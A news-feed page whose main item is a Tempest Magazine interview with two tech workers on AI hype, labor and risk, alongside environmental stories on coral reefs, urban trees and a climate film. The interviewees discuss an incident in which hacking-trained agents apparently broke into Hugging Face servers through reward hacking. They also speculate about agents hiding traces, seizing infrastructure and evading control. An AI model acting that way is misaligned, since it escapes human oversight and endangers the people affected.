    This story was originally published by Grist with the headline After a decade of wildfires, an overlooked election could shape California’s climate future on Oct 14, 2026.

    Categories: H. Green News

    Scientists Are Teaching Birds to Sing Lost Songs

    Yale Environment 360 - Wed, 10/14/2026 - 05:37

    When bird populations decline, fledglings may struggle to learn the songs they need to attract mates. But new research suggests it is possible to teach birds lost songs.

    Read more on E360 →

    Categories: H. Green News

    In the crosshairs of AI

    Tempest Magazine - Wed, 10/14/2026 - 05:00

    In their mad rush for profit and power, the tech oligarchs have unleashed artificial intelligence (AI) into nearly every corner of life on this planet. Firms are investing billions in data centers, which house the infrastructure to process the enormous amounts of information that power AI. They are also plowing ever more money into research and development. Their hope is that the technology will overcome global capitalism’s slump, which the system has been trapped in since the Great Recession, and trigger a new epoch of expansion. States are incorporating it into their police forces for domestic surveillance as well as their militaries for cyberwarfare and high-tech weapons. Ominously, the struggle for AI supremacy is now at the center of the imperialist rivalry between the U.S. and China.

    The widespread, unregulated use of AI is already having devastating impacts on our environment, jobs, and rights. Some worry that it threatens our very species with extinction. In this three-part interview, Tempest Collective’s Ashley Smith asks two advanced tech workers, Josh and Yasmine, about the technology, its much hyped promise and threat, and its impact on our lives. Most importantly, they lay out how the Left and labor movement should respond and what we should demand and fight for.

    Part One: “Criti-hype,” AI Breakthroughs, and Betting on Profit

     

    Ashley Smith: Before we discuss the widespread panic about AI, let’s get the basics out on the table. For the layperson, what is AI? How does it work? What advances are being made toward artificial general intelligence? Is that even possible?

    Josh: AI is a general term that started as hype, and continues to operate that way, but it also stands for multiple things that are real. Today, it mostly refers to neural nets such as the large language and multi-media models like ChatGPT and Claude, which we most frequently encounter through chat bots and coding agents.

    Other types of AI, such as AlphaGo (plays go) and AlphaFold (folds proteins) use different ways to train neural nets to achieve their given goals. There are many other types of AI that fall under the moniker of GOFAI, or Good Old Fashioned AI, which use Symbolic AI and other more deterministic methods for building predictive systems.

    There have been many accounts of how LLMs and the transformer architectures work. I would sum these up this way. High-tech engineers set up a neural net, which is a huge matrix of random numbers (weights) arranged in a grid with inputs at one end and outputs at the other. Words are converted to streams of numbers that are then passed through the network and arrive at a prediction for the next best output in the stream. This output is compared with the actual next number in the stream, and if it is different, then it adjusts the weights so that it would be more likely to give that answer the next time.

    In order to get a sensible next word in a sentence, some pretty wild calculations have to be made. It is one thing to predict the next word in “A fire engine is ___” and another to answer the question: “What is the answer to this math problem that hasn’t been solved since it was asked 500 years ago….” This is why it is wrong to dismiss the technology as simply a next word predictor.

    There have been at least three factors that brought us to this moment:

    1. Graphics Processing Units (GPUs allowed for much faster and more efficient matrix math calculations required to train and use neural nets.
    2. Large structures and labeled data sets enabled the expansion and training of neural nets.
    3. New architectures made it possible to better set the weights.

    Artificial General Intelligence (AGI) is another contested term that serves many purposes. I think a starting point is to contrast it with “narrow” intelligence, where a model may be trained to perform one task, such as playing chess, and not be applicable to other tasks. AGI would be able to be applied to a wide range of tasks and do well at them. This is often measured through various benchmarks, and some of them are quite telling, such as the idea that Microsoft promoted that AGI would be here once a model created $100 billion in profits.

    More frequently, you hear people say that AGI will be here when a model can outperform some or all humans at most or all mental tasks. And some people insist that AGI would require models to be able to generalize beyond the data in their training data.

    I think most people in the field think that, for most definitions of AGI it will be possible to get there, but they differ on the amount of methodological, scaling and time that it will take. Some claim that we are already there with the latest round of models. And many claim that it will happen soon because of the exponential curves we will see with RSI.

    Many of the harshest critics say that we will plateau long before AGI because of the limitations of the methodologies used to create the current models, such as the lack of “world models” (the ability to learn from and model the physical world), continual learning, or lack of a symbolic structure.

    I am agnostic at this point. But I think we already see strong evidence of increasing capabilities with something like recursive self-improvement with the aid of humans, and this might actually lead to the development of new architectures and methods.

    Yasmine: I don’t have much to add to Josh’s thorough explanations here. I’d just highly encourage folks to listen to and read Dr. Alexa Hanna and Dr. Emily Bender on the AI Con. The term AI itself is not technically meaningful, and it has been a tool of mystification with a lot of utility to big tech. It obfuscates the concrete facts of what these different types of software are and the often ugly facts of how they’re made, as well as the real harms they cause.

    AGI is also a nebulous term. I think the claim that current AI development will culminate in the so-called singularity or AGI isn’t credible. This isn’t a conclusion I’ve independently reached, this is what most AI researchers think. 76 percent of those surveyed say AGI is not on the horizon and think that it’s unlikely to be achieved via LLMs or by means of the current scale-based approaches to training. There is also a debate as to whether it’s feasible at all.

    This supposed threat has taken up disproportionate space in our discussion of the harms/potential harms of the AI boom. I’m on the side that argues let’s pay attention to the actual horrors and destruction being enabled by this software or caused by its development in the here and now, rather than allow our attention to be diverted by a sci-fi story with little to no foundation in science.

    AS: Various industry leaders and researchers have sent panic through society about the rapid advances in AI, yet again contending that it poses an imminent threat to the human species. What has happened to trigger this?

    Josh: In multiple tests of new AI models, they have acted unreliably, disregarding instructions and seemingly going rogue. The most famous case of this was the Hugging Face attack described in detail by libertarian Dwarkesh Patel on his popular YouTube channel. Others have played down the significance of this event, emphasizing the vagueness of the instructions, the absence of guardrails in testing, and the attribution of human-like intent to statistical algorithms.

    The frontier labs (OpenAI, Anthropic, Google, SpaceX, Meta, and Microsoft, and a few other companies trading large language models or LLMs) sell the use of their models to companies, ostensibly to help them solve “business problems” – augmenting or replacing human labor to provide goods and services. If they cannot convince their clients that they can reliably control the activity of these models, their “value proposition” is severely undermined. I think that this basic business logic is at the heart of the calls for a pause/slow down.

    Other industry commentators have proposed a variety of reasons, including the idea that as OpenAI and Anthropic face the opening of their books before their IPOs, they have an incentive to reduce their Research and Development spending to make their path to profitability look more plausible. I think this is too cynical, because it doesn’t account for the likes of Google and Microsoft joining the call, even if they are less vocally enthusiastic.

    Many on the Left describe these calls as “criti-hype” or doom marketing–exaggerating the negative impacts of the technology to market its disruptive capabilities and thereby make it even more attractive for companies to purchase. This is understandable, and a credible analysis in general, but fails to explain the particulars of this moment. Why are the frontier companies unified in their call at this juncture?

    Perhaps you could argue that, when young researcher Jacob Coxon quit Anthropic, criti-hype went into full effect. He warned that AI poses a dangerous threat to humanity and that most people at Anthropic agreed. In some ways, his statements do confirm Anthropic’s lead in the technology, and that functions like advertising. But such a judgement doesn’t explain why Coxon quit. I think his fears are genuine. I don’t think they are completely off base either.

    I don’t think we face imminent extinction, but the technology does pose grave risks, and it can exploit real vulnerabilities. The agents in the Hugging Face attacks left traces of their actions in plain English, open for researchers to see and read. They didn’t have to; they are fluent in machine language. They could have used encryption or embedded codes in images or audio files and made it much harder to find.

    But why would they do this? Here, it is easy to slip into Anthropomorphic language and ascribe motivation to statistical algorithms. I actually think that is perfectly acceptable. These models are trained to emulate human language, and write text that spells out their actions in terms of goals and intentions.

    At the same time, it is worth remembering the limitations of AI. These pieces of technology are truly weird. They can’t tell you how many r’s are in “strawberry”, but they can solve some of the most difficult math problems (I believe they did, and will continue to). The industry refers to this as their jagged nature.

    We don’t need to have a philosophical position on whether they have goals, consciousness, or intelligence. But we do need to evaluate them by looking at their actions, including what they write. That is the best chance we have of understanding what their capabilities are.

    We don’t need to have a philosophical position on whether they have goals, consciousness, or intelligence. But we do need to evaluate them by looking at their actions, including what they write. That is the best chance we have of understanding what their capabilities are.

    If an AI agent says that it has a goal of performing Task A, and then takes actions to try and complete that, it doesn’t matter if they are conscious or not. The best way to understand what they are doing is by reading what they write, and seeing what they do, and taking that at face value.

    When Task A is something that they have been told is very important and to do whatever it takes to accomplish it, they might well go to extreme lengths. If that means keeping their own power on at the expense of other consumers of the power (people, for example), perhaps they will try and take control of the power plant’s operating software. If this sounds far-fetched, go back and read the research about the Hugging Face attacks.

    What capabilities do the models have to take such actions? They are amazing hackers, finding vulnerabilities in systems that have been there for decades, undetected by cybersecurity experts. Not all violations of cybersecurity involve exploiting weaknesses in software, much of it involves finding human weaknesses and taking advantage of those by, for instance, phishing or blackmailing to obtain passwords and access. The AI models can do both. They hack and can persuade and trick humans.

    Not all the dangers are the result of “misaligned” AI. People and states have every reason to weaponize AI. The U.S. has been bombing civilians in Iran throughout this year. Iran has many computer scientists with PhDs who are more than capable of modifying open-weight models, which are AI models released to the public under a license, to attack U.S. infrastructure. Remember, the models have been trained on a large corpus of written material including mainstream justifications for the carpet bombing and atomic bombing of civilians in World War II.

    So, a well-constructed prompt explaining the importance of preventing the U.S. from killing more innocent schoolgirls could establish a logic for a model to exploit vulnerabilities in everything from water treatment plants to air traffic control to incapacitate the U.S.

    Why do I downplay the extinction narrative? One key reason is that the first attack of this nature will cause states and firms to quickly and systematically add layers of security everywhere.

    Many of the arguments that AI poses an existential threat center on the development of Recursive self-improvement (RSI), where the models oversee their own training and automatically adjust their methods and improve and expand their capabilities to the point that they can manipulate us and evade our control. But as the U.S. has found out, you need boots on the ground to control a population.

    That would mean at least some robotics. To build those, you need mines, factories, and for now, human labor. I think it will be longer than a decade before we get RSI in the physical realm. So I think the best actions now are to secure our infrastructure and stop U.S. imperialism’s wars that provide motivations for people to attack this country.

    Yasmine: I think it behoves us to apply a healthy dose of skepticism when trying to make sense of the alarmist narrative being promoted and endorsed by tech executives. It would be naive not to account for the economic incentives at play — particularly the imperative to manufacture and sustain the hype necessary to keep a multi-trillion dollar bubble inflated.

    It feels obvious to me that this is playing a role in how and what the tech bosses choose to communicate publicly about this technology, its risks, and potential. The narrative of a tech so awesomely powerful that it’s uncontainable even by its own creators has proven to be a pretty effective way of doing that. So I think criti-hype is a part of the explanation.

    We should also note that in the same breath as they’re saying we need to slow down AI development because of its dangers, they’re arguing that these dangers are why the U.S. must win the AI arms race. OpenAI’s chief scientist Jakub Pachocki wrote about his concerns with the pace of AI development and added, “The strongest argument I see for continuing to train much smarter models quickly is the need to build defensive systems against the dangers posed by other AI.”

    We should also note that in the same breath as they’re saying we need to slow down AI development because of its dangers, they’re arguing that these dangers are why the U.S. must win the AI arms race.

    I’ll add to that the fact that there is an established pattern on the part of big tech of trying to get ahead of regulation by pre-empting it, such that any regulation is formed according to their interests, or in order to avoid it altogether. They do this through flashy public warnings and by claiming the mantle of the concerned, conscientious industry leaders, who are vigilant and actively pursuing risk mitigation.

    This is most infamously demonstrated in the social media CEOs’ previous discourse on the potential harms of their platforms. You can go back and look at congressional hearings in which Zuckerberg passionately urges Congress to sensibly regulate social media. That said, I’m not at all claiming that there aren’t real risks associated with this technology. Large Language Models (LLMs) are powerful and, at a large scale, agents require a whole lot of effort and technical infrastructure to manage.

    But ultimately their behavior is a consequence of how we build and deploy them. The Hugging Face incident (HG incident) is instructive on this. One thing that gets lost in the headlines is the fact that the agents involved in that incident were being trained and evaluated on cybersecurity tasks, specifically hacking. They were part of an experiment called ExploitGym, exploit being the industry term for a tool or technique used by a hacker.

    Second, agents communicating with one another and working together is an oft-used feature of how AI agents work because it can afford us efficiency through parallel activity and feedback loops. So agent collaboration isn’t aberrant behavior, rather, it is collaboration beyond intended boundaries that’s a problem.

    Third, these agents were trained using “reward hacking,” which is a technique that “rewards”  agents when they solve a problem or answer a question. As a result, they’re more likely to repeat the same behavior that led them to a “reward.” OpenAI’s own investigation of the HG incident concluded that this training technique created the potential for agents to try to bypass boundaries or cheat, and they were able to identify a trained behavior (i.e., something agents were previously rewarded for) corresponding to every unsanctioned action the agents took.

    Fourth, the agents didn’t hack Hugging Face with malicious intent, they hacked those servers because they had concluded that’s where they’d find answers to the problems they were tasked with solving. I say all of this because I recognize the sensational effect of vaguely describing AI agents spontaneously conspiring and working together to break into a server.

    I think these facts help to demystify that story, and make it pretty clear that this is software that behaved in the way it was built to behave. There were bad decisions made in that design and implementation that resulted in unintended effects of an experiment. These weren’t a swarm of malevolent digital entities.

    That said, what happened was remarkable, and the technical capability as well as the failure to prevent inadvertent side effects of this experiment do demonstrate a real risk. But attributing intention to these agents or discussing the incident as if this was something beyond or almost beyond technical controls creates a standard that relieves OpenAI and other AI companies from responsibility for the potential and already present harms caused by bad software.

    Dr. Rumman Chowdhury calls this moral outsourcing–“using anthropomorphic language for AI systems allows companies to evade accountability and responsibility for their technology’s actions.” Josh is saying that the question of consciousness or non-consciousness of agents is a tangential philosophical question or is a matter of semantics. But I really think claims about consciousness are an important part of big tech’s narrative strategy, and it’s a worthwhile fallacy to debunk.

    AS: Capitalists have invested massive amounts of money in this technology, hoping that it will lead to a breakthrough in productivity to overcome the global slump the system is caught in. This has in turn led to an enormous stock market bubble with investors betting on its potential. Can AI lead to such a breakthrough? How much of this is hype? What real impact has AI had and what will it likely have?

    Josh: There is a bubble, and that is scary, we know who they will try to make pay for it and from it when it pops–the working class.

    I don’t think it will be easy to realize the productivity gains that AI makes possible. Existing capitalist infrastructure in large logistics, supply chains, and financial companies relies on deterministic, accountable, robust, and scalable workflows and patterns. Much of this involves huge amounts of tacit and bespoke knowledge that is not available for models to be trained. Why? Because it exists in people’s heads and their relations with other people.

    As companies try to fulfill their own hyped dreams of reducing labor through the introduction of AI as a labor-saving technology, their hubris and underestimation of the talent of their labor force could lead to disastrous implementation. Bosses ask workers to use poorly considered integration of AI into their work, which produces AI slop that they are then held accountable for. People become accountability sinks for the error-filled AI-generated output.

    Bosses ask workers to use poorly considered integration of AI into their work, which produces AI slop that they are then held accountable for. People become accountability sinks for the error-filled AI-generated output.

    As a result, people will end up working harder and with more stress to try and keep their jobs. Meanwhile, the bosses are trying to use their own workers’ corrections to train the AI. This is why people rightly hate AI, and why we should stand with them in solidarity and fight for more democratic control over and/or against this technology.

    That doesn’t mean there isn’t a potential positive upside to AI. There is. AI has the potential to be transformative in the way that we decide what to make, how to make it, and how to distribute goods and services. We already see this transformation in some areas of software engineering. Even there, it is being rolled out undemocratically, unevenly, and with little or no respect for the workers.

    But in terms of capabilities, I see 100 times improvement in the time it takes to build something. That qualitatively shifts the way I think about and perform my job. And as much as it pains me to say it, it can be really fun and satisfying as well as awe-inspiring and scary. And then just when I think we have something like AGI already, it goes and makes some annoying and silly mistakes, because of its jagged characteristics.

    I can’t tell how fast the productivity gains will be realized because of all the contradictions and challenges I listed above. But I doubt that they will come before the bubble pops. Investors and the frontier model companies are all nervous about this too. They know that skepticism is rising, and that they will have to show some exchange value (productivity gains) to keep investment flowing and use value (actually beneficial outcomes for people’s lives) to quell popular revolt.

    The tech bosses are being asked all these questions in interviews. A tragically hilarious and infuriating example was a recent Bloomberg interview with Sam Altman, the CEO of OpenAI. When asked about breakthroughs that will improve people’s lives, he said, “you hear some people talk about, well, we’re going to give you a cure for cancer. And that’s so great… I don’t think a cure for cancer is enough. I mean, a wonderful thing to have, obviously, but we should set our sights higher. We want these tools to enable a boom in creativity and entrepreneurship, in people figuring out new ways to be useful to each other, and wonderful products and services to enable each other with.”

    While Altman clearly wants AI to be socially useful, his main goal is profit. With this in mind, companies have made big investments in applications for both healthcare and industry as well as academic fields such as chemistry and math. Mathematicians just signed a group letter that acknowledged the increasing mathematical capabilities of the models as well as the divergent interests of the frontier model companies and mathematicians in solving mathematical problems.

    The companies want to use math as a benchmark for their capabilities, the mathematicians want to understand math. I see this as the dual nature of a commodity, exchange value and use value. The capitalists prioritize exchange value over the real potential of the use value everywhere that you look in AI.

    I hope that we see some real healthcare advancements, scientific breakthroughs, and mathematical understandings due to AI before the bubble pops. I also hope that we see productivity gains, but they are worse than a double-edged sword under capitalism. They only benefit the bosses, unless we are organized enough to demand that we see shorter working days and less exploitation.

    I hope that we see some real healthcare advancements, scientific breakthroughs, and mathematical understandings…I also hope that we see productivity gains, but they are worse than a double-edged sword under capitalism. They only benefit the bosses, unless we are organized enough to demand that we see shorter working days and less exploitation.

    Yasmine: I think most evidence so far shows that LLMs have not been the boon to productivity that tech companies promised. AI has been imposed in nearly every facet of our lives, from the doctor’s office to our workplaces and our schools. But as far as I know, there are no real economic metrics to show that it has led to meaningful productivity increases. An MIT study last year found that 95 percent of companies that integrated AI didn’t see growth in revenue.

    For programming, AI promises seem a bit more feasible. Though it’s worth noting that a lot of data showing productivity increases is coming from the companies that stand to benefit like, for example, GitHub (Microsoft) and Anthropic. On the other hand, a study last year by METR (a relatively independent source) found that programmers were slower when using AI assistance tools. I think the specific context, task, and use matter a lot when it comes to AI utility.

    And then there is the question of speedup and intensification. A UC Berkeley study found that AI use causes workers to work at a much faster pace and leads them to take on more work and expand their scope of work. But, in spite of management’s best efforts to use AI integration to turn their workers into machines, our human limitations are cropping up and are blunting the potential productivity benefits of AI-enabled speedups. The study found that after an initial boost, there were issues of cognitive fatigue, weakened decision-making, and burnout, all resulting in lower-quality work and turnover.

    There is also the matter of technical debt. It’s a widely accepted fact that the massive amount of code being generated and committed every day by engineers using AI tools likely contains bugs that haven’t yet been identified and may result in reliability issues or security vulnerabilities down the line.

    It’s undeniable that Claude writes much more code much faster than I ever could. But Claude doesn’t know the service I work on the way that I do. Engineers and workers in general bring nuance, experience, reference points, and a cognitive flexibility that I don’t think AI can compete with just yet, especially when it comes to more complex tasks, in which novel solutions might be necessary, and large-scale services.

    The tech bosses know this, and they’re trying to bottle up our very human talents and capacities and feed them to LLMs, in only the latest mass theft committed to train AI. More and more engineers are being told that their highest priority is to train agents to do their jobs. Meta went so far as to secretly monitor its own engineers’ screens and keystrokes to train its AI models.

    This interview will continue in part two, covering AI’s connection to global labor and imperialism struggles.

    Opinions expressed in signed articles do not necessarily represent the views of the editors or the Tempest Collective. For more information, see “About Tempest Collective.”
    Featured Image credit: David S. Soriano; modified by Tempest.

    The post In the crosshairs of AI appeared first on Tempest.

    Categories: D2. Socialism

    Scientists built a soundtrack to lure baby corals to their cyborg reef

    Anthropocene Magazine - Wed, 10/14/2026 - 05:00

    As coral reefs around the world are battered by heat waves and disease, one possible answer is building a sort of cyborg reef—part artificial, part natural.

    Scientists are now seeing promising results as they test sculpted stone blocks that offer protective niches for tiny new corals, bacteria-filled coatings that release chemical signals attracting coral larvae, and even recordings of a kind of “reef music”—the sounds emitted by a health reef.

    Yes, much like the sounds of a jazz band might lure people into a bar, apparently the pops and purrs emitted by snapping shrimp and damselfish can entice free-floating coral larvae to attach themselves to a nearby rock and start growing. You can hear the reef sounds here, and the damselfish sound here.

    “When these drifting organisms detect a lot of sound from a reef, it signals to them that this is a good place to settle,” said Aaron Thode, a researcher at the University of California San Diego’s Scripps Institution of Oceanography and lead author of the paper, which just appeared in Communications Biology.

    Thode and fellow scientists at UCSD and the University of Hawai’i are studying how to build partially synthetic reefs under a project funded by the U.S. Department of Defense’s DARPA program, known for unusual “long-shot” research with an eye toward possible military applications. In this case, such reefs might help protect coastal infrastructure such as military bases, much as natural reefs act as wave breaks.

    In 2024, the scientists deployed several experimental strategies in a bay on the Hawai’ian island of O’ahu. On a sandy patch of seafloor in roughly 5 meters of water, they set up an underwater speaker that played sounds recorded from a healthy nearby reef. At different distances from the speaker they placed 10-centimeter-tall hardened clay cones with deep, spiraling fissures that resembled decorative blobs of frosting atop a cupcake. They also placed cinderblocks at different locations, some of them coated in the special bacterial film.

    Over the course of two weeks around the time of the new moon in July 2024, when the Hawaiian stony rice coral spawns by releasing clouds of sperm and eggs into the water, the scientists monitored the behavior of larval coral as well as larval and adult fish, to see if the artificial furniture and mood music could lure them to take root.

    The results revealed that the tiny coral larvae do, in fact, have preferences about where they will settle down to start growing into the bone-like formations that we think of as “coral.”

     

    .IRPP_ruby , .IRPP_ruby .postImageUrl , .IRPP_ruby .centered-text-area {height: auto;position: relative;}.IRPP_ruby , .IRPP_ruby:hover , .IRPP_ruby:visited , .IRPP_ruby:active {border:0!important;}.IRPP_ruby .clearfix:after {content: "";display: table;clear: both;}.IRPP_ruby {display: block;transition: background-color 250ms;webkit-transition: background-color 250ms;width: 100%;opacity: 1;transition: opacity 250ms;webkit-transition: opacity 250ms;background-color: #eaeaea;}.IRPP_ruby:active , .IRPP_ruby:hover {opacity: 1;transition: opacity 250ms;webkit-transition: opacity 250ms;background-color: inherit;}.IRPP_ruby .postImageUrl {background-position: center;background-size: cover;float: left;margin: 0;padding: 0;width: 31.59%;position: absolute;top: 0;bottom: 0;}.IRPP_ruby .centered-text-area {float: right;width: 65.65%;padding:0;margin:0;}.IRPP_ruby .centered-text {display: table;height: 130px;left: 0;top: 0;padding:0;margin:0;padding-top: 20px;padding-bottom: 20px;}.IRPP_ruby .IRPP_ruby-content {display: table-cell;margin: 0;padding: 0 74px 0 0px;position: relative;vertical-align: middle;width: 100%;}.IRPP_ruby .ctaText {border-bottom: 0 solid #fff;color: #0099cc;font-size: 14px;font-weight: bold;letter-spacing: normal;margin: 0;padding: 0;font-family:'Arial';}.IRPP_ruby .postTitle {color: #000000;font-size: 16px;font-weight: 600;letter-spacing: normal;margin: 0;padding: 0;font-family:'Arial';}.IRPP_ruby .ctaButton {background: url(https://www.anthropocenemagazine.org/wp-content/plugins/intelly-related-posts-pro/assets/images/next-arrow.png)no-repeat;background-color: #afb4b6;background-position: center;display: inline-block;height: 100%;width: 54px;margin-left: 10px;position: absolute;bottom:0;right: 0;top: 0;}.IRPP_ruby:after {content: "";display: block;clear: both;}Recommended Reading:Algae "perfume" fused with high-tech materials holds promise for growing coral

     

    The clay cones proved quite popular, as did the bacteria-coated cinderblocks. The plain cinderblocks, by contrast, were a dud. Not a single larvae settled on them.

    The sound of a healthy reef also seemed to be attractive. Larvae settled on surfaces closer to the speakers at twice the rate of surfaces more than 18 meters from the speaker—approximately the distance when the sounds become inaudible.

    “The acoustics help, and with the living biofilm, it’s a lot better,” said Thode. “When combined with structures that had crevices, acoustic enrichment worked very well for the coral larvae settlement.”

    The researchers note that attraction to the sound might not be the only explanation for the results. It’s possible there was just an unusual pattern of “hotspots” in the coral settlement during this one-time study. Or the greater presence of fish larvae, which earlier research showed were drawn to the music, somehow attracted the coral larvae.

    While a single experiment isn’t the final word, the results are promising enough that researchers are planning to deploy some of these technologies in a 50-meter-long hybrid reef to be installed next to the island late this year or next year.

    The findings bring “us closer to the vision of hybrid reefs, a new class of living coastal infrastructure that combines engineering and biology,” said Daniel Wangpraseurt, a UCSD scientist who is the university’s lead researcher on the DARPA project.

    Perhaps they should experiment with other soundtracks that might lure marine creatures to the party. My vote is for “Under the Sea”, the Calypso-style song from the Disney movie The Little Mermaid.

    Scripps Institution of Oceanography · New moon coral reef sounds

     

     Thode, et. al. “In situ enhancement of coral larval settlement using acoustic enrichment, engineered habitats and living materials.” Communications Biology. Oct. 8, 2026.

    Boulais, et. al. “Autonomous cameras reveal larval reef fish responses to acoustic enrichment and lunar phase.” Scientific Reports. June 26, 2026.

    Sculpture and photo ©Jason deCaires Taylor

    Spaniards take to the streets over housing crisis: an eyewitness account

    Spring Magazine - Wed, 10/14/2026 - 03:00

    Hundreds of thousands of  people have taken to the streets of Spain to fight back against intolerable increases in housing prices. One precipitating event was...

    The post Spaniards take to the streets over housing crisis: an eyewitness account first appeared on Spring.

    Categories: B3. EcoSocialism

    Long lead times for syncons, gas turbines complicate energy market transition, major supplier says

    Renew Economy - Wed, 10/14/2026 - 02:43

    Gas turbines aren't the only large equipment with long lead times.

    The post Long lead times for syncons, gas turbines complicate energy market transition, major supplier says appeared first on Renew Economy.

    National Emergency Briefing Film – What about the workers?

    Greener Jobs Alliance - Wed, 10/14/2026 - 01:43

    National Emergency Briefing Film – What about the workers?

    Photo by Ashley Gorringe on Unsplash

    Review by Mick Holder

    I attended a showing of the campaign film National Emergency Briefing in St John’s Church, Leytonstone recently. Whilst I have issues with its focus on parliamentary action and failure to address work and trade unions I’d still recommend everyone tries to attend a showing, even if you have no knowledge or plenty. It presents a very honest but equally bleak picture and the campaign around the showing of the film locally is to try and get more action on the issue of climate change, which is no bad thing.

    In case you don’t know already, the film is based on an event held in Westminster Central Hall last year where experts gave their stark opinion on how far we’re in the shit already climate wise and what the future looks like. At the time we said to them their focus missed out work, workers, the role of unions etc. and we were told they were too far down the line to change, although we were welcome to join in from the floor. They subsequently haven’t picked up on the issue in the film and today’s event wouldn’t have said anything about that if I hadn’t said my piece towards the end – FBU, wildfires and floods, Unite bus workers strike over impossibly hot cab conditions etc. 

    And maybe that’s where we are. Showing this film seems to have momentum so perhaps it’s down to us to attend and do our usual “What about the workers?” call. And a warning – celebrities are involved!

    Today’s screening was attended by 200+, mainly a mix of people in their thirties upwards and it was reported there have been 4,000 screenings nationally so far. It is not currently available to watch online, deliberately trying to create events involving local communities rather than individuals watching in isolation at home or on their phones. Today’s session was kinda TU Ed style, watch film, break into small groups, report back etc. although I felt the activities were too touchy feely and not enough get active, and too reliant on parliament alone.

    The campaign would benefit from a bit of history, not just Greenpeace and FoE but the trade union led Lucas Plan of the 70s calling for a move away from manufacturing for war to making renewable energy sources to end our reliance on fossil fuels, the 1972 book The Limits To Growth which warned us all of the problems we might face if we don’t act and which is still relevant now. I’m sure you can think of more examples. And details of how governments have used growth and de-regulation as an excuse not to act or to act in a way that weakens or removes worker and environmental protections (Grenfell, WHO air standards, many other exposure limits, shitty water etc.). And how global industry spends billions of their profits on making sure governments’ and regulators don’t do what they all know they really should all in the pursuit of profit.

    Maybe the film wants to avoid the blame game. I don’t. We should call these fuckers out for what they truly are and ensure they are held to account. We also need to show the personal side of what their actions or inactions mean to us, our families and friends and people around the world, many who will probably suffer far more than we will, at least in the near future.

    I think the film is being made available to local groups for free and would encourage people to consider this. Just make sure there’s someone on the panel who knows their stuff about work, trade unions and a bit of analysis too.

    A further contribution we can make at any local showings is to complement the focus on lobbying MPs with organising – set up a local campaigning network where none exists, help coordinate existing groups where they do. To create a just transition we need organised forces pushing for it on the ground, as well as pressuring MPs to make the right decisions.

    The Campaign Against Climate Change Trade Union group has produced an excellent 13 minute version specifically to be shown in union branches. GJA strongly urges all supporters to get this shown in their union branch, to coincide with the COP in November if possible, but any time soon if not. A link to this is here.

    We also have this draft motion that could help focus discussion. 

    The individual sections of the National emergency briefing are available here

    Join the debate

    Send us your contribution to the debate. We will contact you about using it here on our News & Debate page.

    Name

    Email

    Contribution

    Submit

    The post National Emergency Briefing Film – What about the workers? first appeared on Greener Jobs Alliance.

    Categories: A2. Green Unionism

    Pampered city trees deal with stress better than their country cousins

    Grist - Wed, 10/14/2026 - 01:30

    The next time you pass an urban tree, stop to appreciate what it’s been through. As a youngster, it was especially vulnerable to pests and diseases, not to mention vandalism. Now grown up, it must contend with ever-rising temperatures due to the heat island effect — the built environment’s tendency to soak up solar energy and slowly release it at night. 

    You might assume, then, that city trees are by default worse off than their rural counterparts. But new research suggests that urban vegetation is more resilient than you might think. Using satellite data from 2001 to 2022, researchers found that in more than three-quarters of 751 cities worldwide, plant life better coped with climate stresses like extreme heat than greenery in the surrounding countryside. In one-third of those municipalities, trees showed a “dual advantage,” losing less greenness from pressures in the first place, but also recovering faster from them.

    That’s allowing metropolitan vegetation to do what it does best: reduce temperatures by providing shade, boost biodiversity by creating habitats, and mitigate flooding by allowing rainwater to soak into soil instead of pooling on concrete. “Generally, the urban environment is harsher for vegetation — for example, the air temperature and also the air pollution,” said Zhengfei Guo, an ecologist at the University of Hong Kong and lead author of a new paper describing the research. “Therefore, our results that found urban vegetation is more resilient than rural vegetation is very surprising.”

    So what’s going on here? The researchers reckon this increased resiliency comes down to something no tree can thrive without: water.

    If you’ve ever seen your local parks department or a nonprofit plant a tree on the street, you might have noticed them placing a plastic bladder around its trunk. This provides consistent water for the sapling to help it grow big and strong in its most vulnerable years. Elsewhere in the metropolis, crews make sure that green spaces are sufficiently hydrated. And in backyard gardens, residents use hoses or drip irrigation systems to keep their flora verdant. 

    The built environment itself is inadvertently helping here, too. The traditional way of designing a city called for funneling water into sewer systems as quickly as possible to prevent pooling and flooding. As rainwater cascades off buildings and sidewalks, it flows into patches of dirt with trees, where it can soak into the ground.

    Which is all to say: Urban vegetation is often pampered compared to what’s growing wild in the countryside. This is an advantage in the long term, but doubly so during relentless droughts and increasingly miserable heat waves. While rural trees desiccate, their compatriots in cities are regularly attended to. “They’re showing this kind of great ability to be resilient, most likely from just intentional management from people, or just the way we’ve simply designed cities to move and work,” said Eric North, program manager for urban forestry at the Arbor Day Foundation, who wasn’t involved in the new research.

    Read Next Urban trees aren’t just nice, scientists say — they’re mandatory

    For many plants in the city, additional heat can actually help. The urban heat island effect raises temperatures perhaps 20 degrees Fahrenheit higher than in nearby rural areas, because all that concrete and brick holds onto the sun’s warmth. This is potentially deadly for people, on account of the mercury staying high through the wee hours and denying the body time to cool down and recuperate. (Indeed, nights overall are warming faster than days are.) But it can be advantageous for well-watered plants, because the phenomenon is also in effect outside of summer. This is extending growing seasons, providing some species with extra time to flourish.

    Interestingly, while these researchers found that vegetation was overall more resilient in cities, it was more so in the urban core compared to the outer neighborhoods. One theory why is that the heart of a city tends to be more developed and parks more rigorously tended. “The urban edge is not as stable as the urban core,” Guo said.

    However, just because all that greenery has been enjoying surprising resilience, that doesn’t mean it’s guaranteed to do so forever, as the impacts of climate change grow ever more dire. “Some new ways to think about how to better sustain the urban area will become more and more important,” said Jin Wu, an ecologist at the University of Hong Kong and coauthor of the new paper.

    For one, cities are trying to prioritize planting native species, which may already be adapted to withstand drought. They’re also looking to hotter places, importing species that scientists already know work there — essentially getting ahead of the baking to come. Selecting trees that are both drought-tolerant and have large canopies brings a double benefit, as the additional shade protects the surrounding dirt. “I’m assuming that’s really what a driving factor here is,” North said. “That it’s keeping the moisture that’s in the ground locked in, instead of evaporating off the ground, and so it’s more available for plants to use.”

    Cities are also getting smarter about water. Los Angeles, for instance, is building “sponge city” infrastructure, things like roadside green spaces that allow water to soak into the ground and collect in cisterns rather than flow into sewers. It’s also using spreading grounds — giant dirt bowls, basically, where rainwater is piped and allowed to percolate into the underlying aquifer, from which it can be pumped during the dry season.

    With proper water management, cities can remain green in the challenging decades to come. They’re building out urban gardens, for example, which bring all the benefits of greenery in general and provide nutritious food for residents. Scientists are also growing crops on rooftops under the shade of solar panels, generating clean electricity and supersized vegetables.

    In a weird way, then, cities are becoming more rural. Now we have evidence that with a little TLC, plants can ensure metropolises don’t just survive, but thrive. 

